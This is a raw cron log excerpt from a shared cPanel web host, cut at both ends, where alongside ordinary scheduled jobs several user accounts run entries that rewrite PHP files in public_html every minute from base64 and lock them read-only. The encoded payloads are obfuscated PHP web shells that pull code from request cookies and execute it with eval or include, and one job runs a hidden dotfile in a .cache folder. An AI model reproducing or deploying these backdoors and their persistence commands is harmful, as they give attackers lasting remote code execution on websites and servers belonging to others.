Hg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:17:02 medusa CROND[10483]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:17:02 medusa CROND[10482]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:17:02 medusa CROND[10485]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:17:02 medusa CROND[10487]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:18:02 medusa CROND[1985]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:18:02 medusa CROND[1986]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:18:02 medusa CROND[1987]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:18:02 medusa CROND[1989]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:18:02 medusa CROND[1990]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 07:18:02 medusa CROND[1991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:18:02 medusa CROND[1993]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Apr 19 07:18:02 medusa CROND[1997]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:18:02 medusa CROND[1999]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:18:02 medusa CROND[2001]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:18:02 medusa CROND[1998]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 07:18:02 medusa CROND[2007]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:18:02 medusa CROND[2008]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:18:02 medusa CROND[2012]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:19:01 medusa CROND[26128]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:19:01 medusa CROND[26146]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:19:01 medusa CROND[26147]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:19:01 medusa CROND[26191]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:19:01 medusa CROND[26194]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:19:01 medusa CROND[26195]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:19:01 medusa CROND[26196]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:19:01 medusa CROND[26192]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 07:19:01 medusa CROND[26201]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:19:01 medusa CROND[26190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:19:01 medusa CROND[26207]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:19:01 medusa CROND[26212]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo 